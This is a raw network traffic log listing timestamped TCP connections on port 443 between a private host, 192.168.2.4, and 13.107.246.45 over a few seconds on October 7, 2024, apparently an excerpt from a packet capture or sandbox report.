Oct 7, 2024 18:44:33.160398006 CEST	53837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.160582066 CEST	53837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.160602093 CEST	443	53837	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.160618067 CEST	53837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.160624027 CEST	443	53837	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.161859989 CEST	443	53839	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.161922932 CEST	443	53839	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.161968946 CEST	53839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.162230968 CEST	443	53838	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.162287951 CEST	443	53838	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.162323952 CEST	53838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.162358046 CEST	53839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.162377119 CEST	443	53839	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.162388086 CEST	53839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.162393093 CEST	443	53839	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.162548065 CEST	53838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.162548065 CEST	53838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.162555933 CEST	443	53838	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.162565947 CEST	443	53838	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.165828943 CEST	53841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.165868044 CEST	443	53841	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.165925980 CEST	53841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.166146040 CEST	53842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.166152954 CEST	443	53842	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.166192055 CEST	53842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.166563034 CEST	53841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.166574001 CEST	443	53841	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.166845083 CEST	53843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.166882038 CEST	443	53843	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.166943073 CEST	53843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.166965961 CEST	53842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.166974068 CEST	443	53842	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.167052984 CEST	53843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.167061090 CEST	443	53843	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.171313047 CEST	443	53840	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.171340942 CEST	443	53840	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.171375036 CEST	53840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.171390057 CEST	443	53840	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.171402931 CEST	443	53840	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.171438932 CEST	53840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.171565056 CEST	53840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.171571970 CEST	443	53840	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.171581984 CEST	53840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.171586037 CEST	443	53840	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.171722889 CEST	443	53836	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.171783924 CEST	443	53836	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.171823978 CEST	53836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.171972036 CEST	53836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.171983957 CEST	443	53836	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.171996117 CEST	53836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.171999931 CEST	443	53836	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.174186945 CEST	53844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.174210072 CEST	443	53844	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.174259901 CEST	53844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.174356937 CEST	53845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.174384117 CEST	443	53845	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.174441099 CEST	53845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.174477100 CEST	53844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.174485922 CEST	443	53844	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.174568892 CEST	53845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.174580097 CEST	443	53845	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.813916922 CEST	443	53845	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.814497948 CEST	443	53842	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.814626932 CEST	53845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.814644098 CEST	443	53845	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.814923048 CEST	53842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.814958096 CEST	443	53842	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.815009117 CEST	53845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.815012932 CEST	443	53845	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.815277100 CEST	53842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.815284014 CEST	443	53842	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.818259954 CEST	443	53844	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.818552017 CEST	53844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.818567991 CEST	443	53844	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.818850040 CEST	53844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.818855047 CEST	443	53844	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.821980000 CEST	443	53843	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.822240114 CEST	443	53841	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.822244883 CEST	53843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.822307110 CEST	443	53843	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.822441101 CEST	53841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.822453976 CEST	443	53841	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.822551012 CEST	53843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.822565079 CEST	443	53843	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.822832108 CEST	53841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.822838068 CEST	443	53841	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.909919024 CEST	443	53842	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.910073042 CEST	443	53842	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.910331964 CEST	53842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.910367966 CEST	53842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.910367966 CEST	53842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.910384893 CEST	443	53842	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.910397053 CEST	443	53842	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.913399935 CEST	443	53845	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.913430929 CEST	443	53845	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.913481951 CEST	443	53845	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.913506031 CEST	53845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.913537979 CEST	53845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.913660049 CEST	53845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.913675070 CEST	443	53845	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.913686037 CEST	53845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.913691044 CEST	443	53845	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.913746119 CEST	53846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.913768053 CEST	443	53846	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.913830996 CEST	53846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.913927078 CEST	443	53844	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.913966894 CEST	53846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.913980007 CEST	443	53846	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.914097071 CEST	443	53844	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.915461063 CEST	53844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.915508986 CEST	53844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.915509939 CEST	53844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.915544033 CEST	443	53844	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.915570021 CEST	443	53844	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.916286945 CEST	53847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.916344881 CEST	443	53847	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.916413069 CEST	53847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.916552067 CEST	53847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.916579962 CEST	443	53847	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.917413950 CEST	53848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.917501926 CEST	443	53848	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.917582035 CEST	53848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.917712927 CEST	53848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.917747021 CEST	443	53848	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.928982019 CEST	443	53841	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.929055929 CEST	443	53841	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.929208040 CEST	53841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.929234028 CEST	53841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.929244995 CEST	443	53841	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.929255009 CEST	53841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.929260015 CEST	443	53841	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.931174040 CEST	53849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.931205034 CEST	443	53849	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.931274891 CEST	53849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.931399107 CEST	53849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.931408882 CEST	443	53849	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.931802034 CEST	443	53843	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.931874037 CEST	443	53843	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.931972980 CEST	443	53843	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.931994915 CEST	53843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.932070017 CEST	53843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.932070017 CEST	53843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.932070017 CEST	53843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.933765888 CEST	53850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.933779955 CEST	443	53850	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.933845997 CEST	53850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.933979034 CEST	53850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.933990955 CEST	443	53850	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.240185976 CEST	53843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.240262032 CEST	443	53843	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.558052063 CEST	443	53847	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.558654070 CEST	53847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.558743954 CEST	443	53847	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.559001923 CEST	53847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.559017897 CEST	443	53847	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.561366081 CEST	443	53850	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.561676025 CEST	53850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.561691999 CEST	443	53850	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.562026978 CEST	53850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.562031031 CEST	443	53850	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.562882900 CEST	443	53849	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.563154936 CEST	53849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.563159943 CEST	443	53849	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.563452005 CEST	53849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.563456059 CEST	443	53849	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.578942060 CEST	443	53846	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.579366922 CEST	53846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.579396009 CEST	443	53846	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.579797983 CEST	53846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.579807997 CEST	443	53846	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.581424952 CEST	443	53848	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.581769943 CEST	53848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.581820011 CEST	443	53848	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.582169056 CEST	53848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.582184076 CEST	443	53848	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.858437061 CEST	443	53849	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.858611107 CEST	443	53849	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.858688116 CEST	53849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.858872890 CEST	443	53850	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.859030962 CEST	443	53850	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.859075069 CEST	53850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.859241962 CEST	53849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.859261990 CEST	443	53849	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.859272003 CEST	53849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.859277964 CEST	443	53849	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.859874964 CEST	443	53847	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.860035896 CEST	443	53847	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.860096931 CEST	53847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.862555027 CEST	53850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.862570047 CEST	443	53850	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.862580061 CEST	53850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.862586021 CEST	443	53850	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.863848925 CEST	443	53846	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.863993883 CEST	443	53846	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.864037991 CEST	53846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.864110947 CEST	443	53848	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.864141941 CEST	443	53848	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.864175081 CEST	443	53848	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.864186049 CEST	53848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.864212990 CEST	53848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.864554882 CEST	53848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.864574909 CEST	443	53848	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.864584923 CEST	53848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.864589930 CEST	443	53848	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.867367983 CEST	53847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.867367983 CEST	53847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.867427111 CEST	443	53847	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.867453098 CEST	443	53847	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.869442940 CEST	53846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.869462967 CEST	443	53846	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.869481087 CEST	53846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.869488001 CEST	443	53846	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.875824928 CEST	53851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.875879049 CEST	443	53851	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.875950098 CEST	53851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.879561901 CEST	53852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.879642963 CEST	443	53852	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.879714012 CEST	53852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.881824970 CEST	53853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.881864071 CEST	443	53853	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.881911039 CEST	53853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.882195950 CEST	53851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.882231951 CEST	443	53851	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.883172989 CEST	53854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.883192062 CEST	443	53854	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.883239031 CEST	53854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.883533955 CEST	53854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.883550882 CEST	443	53854	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.884434938 CEST	53855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.884470940 CEST	443	53855	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.884527922 CEST	53855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.884912968 CEST	53852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.884948015 CEST	443	53852	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.885196924 CEST	53853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.885215998 CEST	443	53853	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:34.885319948 CEST	53855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:34.885344982 CEST	443	53855	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.649380922 CEST	443	53854	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.649880886 CEST	53854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.649912119 CEST	443	53854	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.650047064 CEST	443	53851	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.650343895 CEST	53851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.650363922 CEST	53854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.650374889 CEST	443	53854	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.650377035 CEST	443	53851	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.650674105 CEST	53851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.650679111 CEST	443	53851	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.652406931 CEST	443	53855	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.652679920 CEST	53855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.652740002 CEST	443	53855	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.652966976 CEST	53855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.652981043 CEST	443	53855	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.655880928 CEST	443	53852	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.656199932 CEST	53852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.656234980 CEST	443	53852	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.656630993 CEST	53852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.656641960 CEST	443	53852	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.665208101 CEST	443	53853	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.665518999 CEST	53853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.665546894 CEST	443	53853	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.665918112 CEST	53853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.665925980 CEST	443	53853	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.742501974 CEST	443	53851	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.742548943 CEST	443	53851	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.742798090 CEST	53851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.742841005 CEST	443	53851	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.742959023 CEST	53851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.742980003 CEST	443	53851	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.743004084 CEST	53851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.743127108 CEST	443	53854	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.743200064 CEST	443	53851	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.743279934 CEST	443	53854	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.743638992 CEST	53854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.744199991 CEST	53854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.744223118 CEST	443	53854	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.744235039 CEST	53854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.744240999 CEST	443	53854	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.746496916 CEST	53856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.746563911 CEST	443	53856	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.746630907 CEST	53856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.746877909 CEST	53857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.746910095 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.746963978 CEST	53857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.746964931 CEST	53856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.746997118 CEST	443	53856	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.747078896 CEST	53857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.747092009 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.750113964 CEST	443	53855	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.750231981 CEST	443	53855	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.750291109 CEST	53855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.750330925 CEST	53855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.750330925 CEST	53855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.750354052 CEST	443	53855	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.750375032 CEST	443	53855	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.752172947 CEST	53858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.752192974 CEST	443	53858	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.752253056 CEST	53858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.752368927 CEST	53858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.752381086 CEST	443	53858	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.753324986 CEST	443	53852	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.753880024 CEST	443	53852	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.753914118 CEST	443	53852	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.753936052 CEST	53852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.753961086 CEST	53852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.753997087 CEST	53852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.754013062 CEST	443	53852	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.754041910 CEST	53852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.754054070 CEST	443	53852	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.755763054 CEST	53859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.755785942 CEST	443	53859	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.755929947 CEST	53859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.756064892 CEST	53859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.756089926 CEST	443	53859	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.763863087 CEST	443	53853	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.764127970 CEST	443	53853	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.764173985 CEST	53853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.764200926 CEST	53853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.764209986 CEST	443	53853	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.764221907 CEST	53853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.764225960 CEST	443	53853	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.765888929 CEST	53860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.765914917 CEST	443	53860	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:35.766015053 CEST	53860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.766127110 CEST	53860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:35.766139030 CEST	443	53860	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.359822989 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.360526085 CEST	53857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.360565901 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.361047029 CEST	53857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.361058950 CEST	443	53857	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.370366096 CEST	443	53859	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:36.371870041 CEST	53859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:36.371908903 CEST	443	53859	13.107.246.45	192.168.2.4
